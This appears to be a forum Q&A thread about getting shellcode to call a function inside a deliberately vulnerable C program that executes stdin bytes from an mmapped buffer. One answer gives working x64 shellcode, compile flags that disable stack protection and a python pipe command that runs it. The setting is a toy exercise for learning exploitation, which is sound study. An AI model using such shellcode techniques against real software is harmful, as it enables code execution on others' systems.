1

I am getting the segmentation fault error when I called function "target" in my shellcode.

Here's the C code of program:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 50

void target(){
    //Magic Happens Here   
}


void function_x(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        exit(0);
    }
    printf("You can type %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        exit(0);
    }
    void (*func)() = (void (*)())stuff;
    func();      
}

int main(){
    function_x();
    return 0;
}

I obtained opcode of "CALL TARGET_FUNCTION_ADDRESS" instruction which is "0xfffef5e8" and saved it in a file as: echo -e "\xe8\xf5\xfe\xff" > shellcode

Then I passed my shellcode as input to the program as:

    (gdb) r < shellcode
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/rakesh/a.out < shellcode
    You can type 50 bytes:

    Breakpoint 1, 0x08048615 in function_x ()
    (gdb) si
    0xb7fd5000 in ?? ()

    (gdb) x/10w $eip
    0xb7fd5000: 0xfffef5e8  0x0000000a  0x00000000  0x00000000
    0xb7fd5010: 0x00000000  0x00000000  0x00000000  0x00000000
    0xb7fd5020: 0x00000000  0x00000000

    (gdb) si
    0xc2fd4efa in ?? ()

    (gdb) si

    Program received signal SIGSEGV, Segmentation fault.
    0xc2fd4efa in ?? ()
    (gdb) 
    [46]+  Stopped                 gdb ./a.out

I can see that EIP is pointing to my given shellcode but still it's not working as expected.

Can anyone tell me why my shellcode is not working??

2 Answers 2

4

As Joshua said, just mov(e) the address of the target function into a register and call that regsiter. Assemble that and use its opcodes, because you need a shellcode(opcodes) that would be executed, and not a function address.

When func() is called after typecasing("stuff") into a function pointer as you wrote

void (*func)() = (void (*)())stuff;
func();

Exploit:

I used your C code and just modified target function a bit to

void target(){
    //Magic Happens Here
        puts("You won");
        exit(0);
}

Compiled it with following gcc flags: gcc -fno-stack-protector -z execstack vuln.c

I did it on 64 bit architecture, so the binary is ELF 64bit. Now run the binary in gdb, and find the address of "target" function as:

(gdb) p target
$1 = {<text variable, no debug info>}` **0x4006dd** `<target>

Go here and assemble the following x64 instructions (for x86 use eax instead of rax). Example:

mov rax ,0x4006dd
call rax

It gives the following shellcode: **\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0**

Now write it into the file

python -c "print '\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0'" > exp
root@BOX:~# cat exp| ./a.out

You can type 50 bytes: **You won**

root@BOX:~#`

Thus executing the target function.

1

Not sure where you obtained the opcodes for your call, but I would try opcodes to put the address of the function you want to call into a register and then make a call to that register. You could also use a jmp instruction, unless you need to keep track of eip +1 before the call.

The program ends up trying to access memory outside of userland, that is the reason for the segfault.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .